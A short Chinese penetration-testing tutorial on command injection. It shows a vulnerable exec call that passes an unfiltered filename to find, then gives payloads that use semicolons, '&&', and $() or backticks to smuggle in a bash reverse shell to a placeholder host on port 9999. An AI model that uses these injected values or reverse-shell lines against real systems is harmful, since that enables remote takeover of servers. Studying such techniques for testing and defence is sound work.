首页 > 技术文章 > 命令执行-多命令分隔技巧

zlgxzswjy 2019-01-24 11:20 原文

假设渗透中,通过代码审计发现又如下代码:

filename=外部传参
exec("find / -name "+filename)

这里filename是外部传参到exec函数,调用find命令来在本地查找文件。可以确定这里一定存在远程命令执行,因为这里filename是外部传参,且没有经过任何过滤,也就是说恶意用户可以通过控制外部传参来执行更多命令,有如下几种方式

一、分号隔断-';'

分号可以用于在命令行中进行命令分隔,分号分隔的两个部分将作为两条命令进行执行。所以可以进行如下传参

filename="test;/bin/bash  -i > /dev/tcp/x.x.x.x/9999 0<&1 2>&1"

这时exec中执行的命令就变成了:

find / -name test;/bin/bash  -i > /dev/tcp/x.x.x.x/9999 0<&1 2>&1

从而分别执行了find命令,并向x.x.x.x反弹了一个shell、

*该符号分隔的好处是,也可以不为-name提供参数实例,即可以省去命令中的'test',直接从分号后开始执行

 

二、'&&'符号分隔

&&在命令行中表示‘和’操作,当用该符号分隔是,命令行也会把命令当做两条命令顺序执行。所以可以进行如下传参

filename="test && /bin/bash  -i > /dev/tcp/x.x.x.x/9999 0<&1 2>&1"

这时exec中执行的命令就变成了:

find / -name test && /bin/bash  -i > /dev/tcp/x.x.x.x/9999 0<&1 2>&1

从而分别执行了find命令,并向x.x.x.x反弹了一个shell

*该符号分隔不足的地方在于,'&&' 表示‘和’操作,所以只有第一条命令执行成功后才会执行到第二条命令,如果第一条命令报错,则执行不到第二条命令,所以这里不能省去命令中的'test'

 

三、'$()'或'``'(esc键下面的,也叫反引号)分隔

$()和``在shell中表示把括号内的脚本当做命令执行,所以可以用这种方法用来包含命令执行,所以可以进行如下传参

filename="$(/bin/bash  -i > /dev/tcp/x.x.x.x/9999 0<&1 2>&1)"

这是exec中执行的命令就变成了:

find / -name $(/bin/bash  -i > /dev/tcp/x.x.x.x/9999 0<&1 2>&1)

从而分别执行了两条命令

``和$()是同样的用法,不再赘述

*$()和``都不需要为参数提供实例,但不是所有的shell都能使用,通常只在bash环境下使用

 

推荐阅读